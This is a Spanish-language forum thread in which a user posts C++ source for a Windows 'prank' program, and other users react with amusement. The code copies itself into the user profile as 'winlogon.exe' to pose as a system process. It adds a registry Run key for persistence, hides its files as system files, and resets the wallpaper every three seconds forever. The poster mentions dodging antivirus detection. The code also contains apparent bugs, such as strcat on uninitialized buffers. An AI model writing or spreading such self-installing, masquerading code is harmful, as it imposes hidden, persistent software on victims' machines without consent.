Título: Broma c++
Publicado por: daryo en 24 Mayo 2013, 03:16 am
hola hice un code para retomar la programacion hacia rato no lo programaba asi que no es nada complejo y para hacer una broma no lo posteo aun por si la remota posibilidad que lo terminen detectando algun antivirus antes de ponerlo mañana posteo el code xD fondo:https://mega.co.nz/#!Lc0T2QRb!dKQBEhZU-rILFaNS7HQah2nnxqAzuVmzeZd6z76ysk4 la imagen debe estar en la misma carpeta y llamarse 1010.bmp AGu5v1reQIM saludos #include <windows.h> #include <cstring> bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false { DWORD attr = GetFileAttributes(file); if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY)) return false; // not a file return true; } void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows { //con la variable DireccionLocal se donde esta el programa para asi copiarlo char instalarFondo[100]; char *dirlocal =getenv("USERPROFILE"); // carpeta local de usuario char dirfoto[700]; // el directorio donde esta la foto char instalar1[100]; //directorio a instalar el archivo //---------------------------- GetCurrentDirectory(700,dirfoto); strcpy(instalarFondo ,dirlocal ); strcat(instalarFondo ,"\\1010.bmp"); CopyFile(dirfoto,instalarFondo,true);//copio el fondo //------------------------------- strcat(instalar1 ,"\\winlogon.exe"); CopyFile(DireccionLocal,instalar1,true); // copio el archivo //añado llaves al registro de windows para que se inicie con el sistema HKEY hkey; RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey); RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro el nombre es windout y el valor la direccion del programa RegCloseKey (hkey); SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); //--- } void cambiarElFondo() { char fondo[]="1010.bmp"; SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo } int main(int argc,char * argv[]) { char *com =getenv("USERPROFILE"); char comprobar[600]; strcat(comprobar ,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD while(true) { if(existe(comprobar)) // { cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo } else { instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala } Sleep(3000); // espera 3 segundos } return 0; }
Título: Re: Broma c++
Publicado por: amchacon en 24 Mayo 2013, 10:48 am
Lo gracioso sería que se ejecutase al arranque del pc ;-)
Título: Re: Broma c++
Publicado por: daryo en 24 Mayo 2013, 12:53 pm
Lo gracioso sería que se ejecutase al arranque del pc ;-)
se ejecuta al comienzo del pc :P
Título: Re: Broma c++
Publicado por: BlackM4ster en 24 Mayo 2013, 14:24 pm
jajajaj
Título: Re: Broma c++
Publicado por: Stakewinner00 en 24 Mayo 2013, 16:52 pm
Interesante. Esperare el código para poder jugar un poco. jaja
Título: Re: Broma c++
Publicado por: BlackM4ster en 24 Mayo 2013, 17:08 pm
Es sencillito, una imagen, un cambio en el registro y ya xD
Título: Re: Broma c++
Publicado por: daryo en 24 Mayo 2013, 20:38 pm
listo ya puse el code :P
Título: Re: Broma c++
Publicado por: Stakewinner00 en 24 Mayo 2013, 22:57 pm
Muy interesante. Pensaba que sería más complejo.
Gracias.
|